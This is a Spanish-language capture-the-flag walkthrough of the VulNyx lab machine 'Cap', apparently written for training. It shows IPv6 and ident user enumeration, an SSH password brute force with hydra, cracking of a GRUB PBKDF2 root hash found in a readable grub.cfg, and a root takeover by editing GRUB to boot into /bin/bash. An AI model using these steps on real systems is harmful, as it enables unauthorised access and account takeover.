VulNyx - Cap

logo

  • User Enumeration - Ident
  • Brute Force SSH
  • Password Leaking - Grub.cfg
  • Brute Force PBKDF2-SHA512
  • Privesc From Grub

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.64

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.64

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

Lanzo ping6 para enumerar por IPv6 ya que con IPv4 no he encontrado nada.

❯ ping6 -c2 -n -I eth0 ff02::1
PING ff02::1(ff02::1) from :: eth0: 56 data bytes
64 bytes from fe80::a00:27ff:fe0f:3f36%eth0: icmp_seq=1 ttl=64 time=0.560 ms

Escaneo de puertos IPv6

❯ nmap -6 -Pn -p- -v -T5 fe80::a00:27ff:fe0f:3f36%eth0

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
113/tcp open  ident

Escaneo de servicios IPv6

❯ nmap -6 -sVC -v -p 80,22,113 fe80::a00:27ff:fe0f:3f36%eth0

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.56 ((Debian))
113/tcp open  ident?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| address-info: 
|   IPv6 EUI-64: 
|     MAC address: 
|       address: 08:00:27:0f:3f:36
|_      manuf: Oracle VirtualBox virtual NIC

Al quedarme atascado durante mucho tiempo pido ayuda al sr d4t4s3c. Abro wireshark y filtro por el puerto TCP y UDP del servicio ident.

tcp.port == 113 or udp.port == 113

Con ncat me conecto al puerto 113, una vez conectado puedo ver en wireshark el puerto de destino 50154, si escribo 113,50154 obtengo el nombre de usuario.

wireshark

Realizo fuerza bruta al usuario lucas para obtener su contraseña.

hydra -V -t 10 -l lucas -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.64 -f -I

[22][ssh] host: 192.168.1.64   login: lucas   password: c*******n

Me conecto al sistema por IPv6.

❯ ssh -6 lucas@fe80::a00:27ff:fe0f:3f36%eth0
lucas@fe80::a00:27ff:fe0f:3f36%eth0's password: 
lucas@cap:~$

Enumero permisos de sudo.

lucas@cap:~$ sudo -l
Matching Defaults entries for lucas on cap:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on cap:
    (root) NOPASSWD: /usr/sbin/reboot

De nuevo atascado pido ayuda al sr d4t4s3c que amablemente me recomienda buscar archivos de lectura.

lucas@cap:~$ find /boot -readable -exec ls -l {} \; 2>/dev/null
-rw-r--r-- 1 root root 8062 ago  5 19:41 /boot/grub/grub.cfg

Encuentro el archivo grub.cfg en su interior el hash de root.

grub

Copio el hash y lo crackeo con john.

❯ john hash_grub --wordlist=/usr/share/wordlists/rockyou.txt --format=PBKDF2-HMAC-SHA512
Using default input encoding: UTF-8
Loaded 1 password hash (PBKDF2-HMAC-SHA512, GRUB2 / OS X 10.8+ [PBKDF2-SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for s
s******s         (?) 

Reinicio la máquina usando el binario reboot.

lucas@cap:~$ sudo /usr/sbin/reboot

Pulso E para entrar en el modo edición del grub.

gnugrub

Introduzco las credenciales.

accesogrub

Con las flechas me voy al final del archivo y cambio ro quiet por rw init=/bin/bash.

initbash

Al terminar pulso F10 para arrancar el sistema como usuario root.

root

Una vez dentro ya puedo leer la flag y ya estaría la máquina rooteada.

Personalmente me gusta tener una shell de root como linux manda y no esta terminal que es un poco ortopédica. Existen varias formas tener una terminal funcional, yo he usado el método de cambiar la contraseña de root.

changepsw

Reinicio la máquina victima:

  • Me conecto de nuevo por ssh con el usuario lucas.
  • Desde lucas me conecto como usuario root usando la contraseña que cambié desde el grub.
lucas@cap:~$ su root
Contraseña: 
root@cap:/home/lucas# cd
root@cap:~# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Cap.

Saludos!